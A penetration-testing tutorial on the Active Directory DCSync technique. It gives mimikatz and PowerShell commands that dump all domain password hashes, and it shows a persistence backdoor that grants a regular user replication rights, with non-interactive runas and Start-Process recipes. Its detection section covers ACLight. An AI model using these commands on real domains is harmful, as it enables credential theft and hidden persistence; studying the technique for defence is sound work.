Domain Penetration - DCSync

Onedaysec
4 min read
4 views
Domain Penetration - DCSync — One Day Sec default thumbnail

0x00 Preface

---

DCSync is a frequently used technique in domain penetration. This article will compile open-source materials, combine personal experience, and summarize methods for exploitation, defense, and detection.

0x01 Introduction

---

This article will cover the following topics:

  • Method to export all domain user hashes using DCSync
  • Method to maintain persistence within the domain using DCSync
  • Automated detection methods for DCSync backdoors

0x02 Method to export all domain user hashes using DCSync

---

DCSync is a feature added to mimikatz in 2015, co-authored by Benjamin DELPY gentilkiwi and Vincent LE TOUX, capable of exporting hashes of all users within the domain.

Prerequisites:

Obtain permissions for any of the following users:

  • Users in the Administrators group
  • Users in the Domain Admins group
  • Users in the Enterprise Admins group
  • Computer account of the domain controller

Exploitation principle:

Utilize the DRS (Directory Replication Service) protocol to replicate user credentials from the domain controller via IDL_DRSGetNCChanges

Reference materials:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47

Implementation code:

https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c#L27

Exploitation method:

1. Use mimikatz

Export hashes of all users in the domain:

mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit

Export hash of the administrator account in the domain:

mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

2. PowerShell Implementation

https://gist.github.com/monoxgas/9d238accd969550136db

Calling the dcsync function in mimikatz.dll via Invoke-ReflectivePEinjection

Export hashes of all users in the domain:

Invoke-DCSync -DumpForest | ft -wrap -autosize

Export the hash of the administrator account in the domain:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

Note:

After obtaining the hashes of domain users, further exploitation can refer to previous articles:

"Domain Penetration - Implementation of Pass The Hash"

"Penetration Techniques - Pass the Hash with Remote Desktop (Restricted Admin mode)"

"Domain Penetration - Pass The Hash & Pass The Key"

0x03 Methods for Maintaining Domain Privileges Using DCSync

---

Exploitation Conditions:

Obtain the permissions of any of the following users:

  • Users within the Domain Admins group
  • Users within the Enterprise Admins group

Exploitation Principle:

Add the following three ACEs (Access Control Entries) to a regular user in the domain:

  • DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes (GUID: 89e95b76-444d-4c62-991a-0facbeda640c)

This user will then gain the permission to export all user hashes in the domain using DCSync

Implementation Code:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

Exploitation Method:

The command to add ACEs is as follows:

Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

Supplement:

Command to remove ACE:

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

Note:

For more information on ACLs, refer to the previous article: 'Penetration Techniques – Access Control List in Windows'

The method to invoke DCSync using domain user test1 is as follows:

1. On a domain-joined host logged in as user test1, directly use the DCSync feature of mimikatz

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

2. Use runas to log in as user test1, then perform DCSync

(1) Pop up a cmd window

echo 123456789 | runas /noprofile /user:test\test1 cmd

Execute the following command in the popped-up cmd window:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

(2) Execute without popping up a window

echo 123456789 | runas /noprofile /user:test\test1 c:\test\1.bat

The content of 1.bat is as follows:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

Note:

Similar tools include lsrunas, lsrunase, and CPAU

3. Using PowerShell to log in as user test1, then performing DCSync

(1) Launch cmd

$uname="test\test1"
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Start-Process -FilePath "cmd.exe" -Credential $cred

Execute the following command in the launched cmd:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

(2) Implement without pop-up window

$uname="test\test1"
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Start-Process -FilePath "c:\test\1.bat" -Credential $cred

The content of 1.bat is as follows:

c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

Note:

Using wmic to log in as user test1 on the local machine will fail with the following error:

ERROR:
Description = User credentials cannot be used for local connections

0x04 Automated Detection Method for DCSync Backdoors

---

Users with high privileges but not in high-privilege groups are referred to as Shadow Admins, such as the domain user test1 in 0x03. Simply querying members of high-privilege groups cannot reveal Shadow Admins within the domain.

Detection Principle:

Enumerate the ACLs of all users in Active Directory and flag privileged accounts.

Implementation Code:

https://github.com/cyberark/ACLight

Exploitation Conditions:

  • Powershell v3.0
  • Domain User Privileges

Detection Method:

Execute Execute-ACLight2.bat from the project

Three files will be generated:

  • Privileged Accounts - Layers Analysis.txt
  • Privileged Accounts Permissions - Final Report.csv
  • Privileged Accounts Permissions - Irregular Accounts.csv

The files will display all privileged accounts

Testing shows that ACLight can detect user test1 with DCSync permissions added

0x05 Summary

---

This article introduces the exploitation of DCSync in domain penetration and automated detection methods. From a defensive perspective, it is recommended to use ACLight to detect user ACLs in the domain environment

Related Questions & Answers

How can defenders detect DCSync backdoors that grant replication rights to non-privileged users?

Defenders can use automated tools like ACLight, which enumerates ACLs in Active Directory to find privileged accounts that are not members of high-privilege groups (shadow admins). It generates reports like "Privileged Accounts - Layers Analysis.txt" to flag users with DCSync permissions. The article recommends using ACLight for this detection.

What are some practical methods to execute DCSync from a domain-joined machine as a low-privileged user that has been given DCSync rights?

The user can run mimikatz directly if logged in, or use `runas` or PowerShell's `Start-Process` with credentials to execute a batch file containing the DCSync command. For example: `mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv"`. Note that wmic cannot be used locally with alternate credentials. Refer to [Domain Penetration - Method to Export All Domain User Hashes Using DCSync](/news/domain-penetration-method-to-export-all-domain-user-hashes-using-dcsync) for more.

How can an attacker maintain persistence in a domain using DCSync without being in high-privilege groups?

An attacker with Domain Admin privileges can add three specific ACEs (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, and DS-Replication-Get-Changes with a different GUID) to a regular user account using PowerShell tools like PowerView. This grants that user DCSync rights, creating a "Shadow Admin" that can export all domain hashes unnoticed.

What is DCSync and what is its primary use in domain penetration?

DCSync is a feature in mimikatz that exploits the Directory Replication Service (DRS) protocol to replicate user credentials from a domain controller, allowing an attacker to export hashes of all domain users. It requires permissions like Domain Admins or a domain controller's computer account. For details, see [Domain Penetration - DCSync](/news/domain-penetration-dcsync).

How can an attacker use a low-privilege user with DCSync rights to export domain hashes without interactive logon?

Using PowerShell, the attacker can start a process as the low-privilege user with Start-Process and -Credential, then execute mimikatz commands to dump hashes. Alternatively, runas with a batch file can run DCSync in the background, exporting results to a text file. --- **Related reading:** - [Domain Penetration - DCSync](/news/domain-penetration-dcsync) — original article - [Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](/news/webmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test) - [Use powershell to find a writable windows service](/news/use-powershell-to-find-a-writable-windows-service) - [Windows Shellcode Study Notes - Extraction and Testing of Shellcode](/news/windows-shellcode-study-notes-extraction-and-testing-of-shellcode)

What tool can automatically detect DCSync backdoors and other privileged accounts in Active Directory?

ACLight (from CyberArk) is a tool that enumerates all Active Directory ACLs and flags privileged accounts, including those with DCSync permissions. It requires PowerShell v3.0 and domain user privileges, producing reports that identify 'Shadow Admins' not in high-privilege groups. --- **Related reading:** - [Domain Penetration - DCSync](/news/domain-penetration-dcsync) — original article - [Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](/news/webmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test) - [Use powershell to find a writable windows service](/news/use-powershell-to-find-a-writable-windows-service) - [Windows Shellcode Study Notes - Extraction and Testing of Shellcode](/news/windows-shellcode-study-notes-extraction-and-testing-of-shellcode)

How can an attacker maintain domain persistence by adding DCSync rights to a regular user?

An attacker with Domain Admin or Enterprise Admin privileges can add three specific ACEs (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, and another replication GUID) to a regular user's ACL. This grants the user DCSync rights, allowing them to export all domain hashes and persist as a 'Shadow Admin'. --- **Related reading:** - [Domain Penetration - DCSync](/news/domain-penetration-dcsync) — original article - [Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](/news/webmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test) - [Use powershell to find a writable windows service](/news/use-powershell-to-find-a-writable-windows-service) - [Windows Shellcode Study Notes - Extraction and Testing of Shellcode](/news/windows-shellcode-study-notes-extraction-and-testing-of-shellcode)

What privileges are required to perform a DCSync attack and export domain user hashes?

To execute DCSync, an attacker needs permissions of users in the Administrators, Domain Admins, Enterprise Admins groups, or the computer account of the domain controller. These high-level privileges allow replication of credentials via the DRS protocol. --- **Related reading:** - [Domain Penetration - DCSync](/news/domain-penetration-dcsync) — original article - [Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](/news/webmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test) - [Use powershell to find a writable windows service](/news/use-powershell-to-find-a-writable-windows-service) - [Windows Shellcode Study Notes - Extraction and Testing of Shellcode](/news/windows-shellcode-study-notes-extraction-and-testing-of-shellcode)

What is DCSync and what protocol does it use to replicate user credentials?

DCSync is a technique in mimikatz that uses the Directory Replication Service (DRS) protocol to replicate user credentials from a domain controller. It calls IDL_DRSGetNCChanges to export password hashes of all domain users, enabling attackers to escalate privileges or move laterally. --- **Related reading:** - [Domain Penetration - DCSync](/news/domain-penetration-dcsync) — original article - [Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](/news/webmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test) - [Use powershell to find a writable windows service](/news/use-powershell-to-find-a-writable-windows-service) - [Windows Shellcode Study Notes - Extraction and Testing of Shellcode](/news/windows-shellcode-study-notes-extraction-and-testing-of-shellcode)

What protocol does DCSync exploit to replicate credentials?

DCSync exploits the Directory Replication Service (DRS) protocol, specifically the IDL_DRSGetNCChanges method, to request replication of user credentials from a domain controller. This protocol is normally used by domain controllers to synchronize directory information. --- **Related reading:** - [Domain Penetration - DCSync](/news/domain-penetration-dcsync) — original article - [An interesting way of bypassing Windows Attachment Manager](/news/an-interesting-way-of-bypassing-windows-attachment-manager) - [Penetration Techniques - Exploitation of Nine Windows Privileges](/news/penetration-techniques-exploitation-of-nine-windows-privileges) - [Penetration Techniques - Pass the Hash with Remote Desktop (Restricted Admin Mode)](/news/penetration-techniques-pass-the-hash-with-remote-desktop-restricted-admin-mode)

Continue Reading